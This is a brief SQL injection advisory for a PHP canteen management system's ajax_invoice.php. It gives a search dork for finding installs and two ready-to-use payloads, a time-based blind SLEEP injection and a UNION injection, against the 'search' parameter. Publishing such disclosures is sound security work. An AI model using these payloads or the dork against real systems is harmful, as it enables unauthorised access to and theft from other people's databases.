Canteen Management System ajax_i

Canteen Management System ajax_invoice.php sql injection

inurl:ajax_invoice.php

Abstract:

Line 12 of ajax_invoice.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

Explanation:

SQL injection errors occur when:

1. Data enters a program from an untrusted source.

2. The data is used to dynamically construct a SQL query.

In this case, the data is passed to query() in ajax_invoice.php at line 12.

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Parameter: search (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=111' AND (SELECT 4223 FROM (SELECT(SLEEP(5)))ZSei) AND 'losz'='losz

    Type: UNION query
    Title: Generic UNION query (NULL) - 18 columns
    Payload: search=111' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162767071,0x6f77615353725145624672616a4f4470785372484f4259796d744a776a5a48665065644b46467451,0x716b716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

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Download Code:
https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html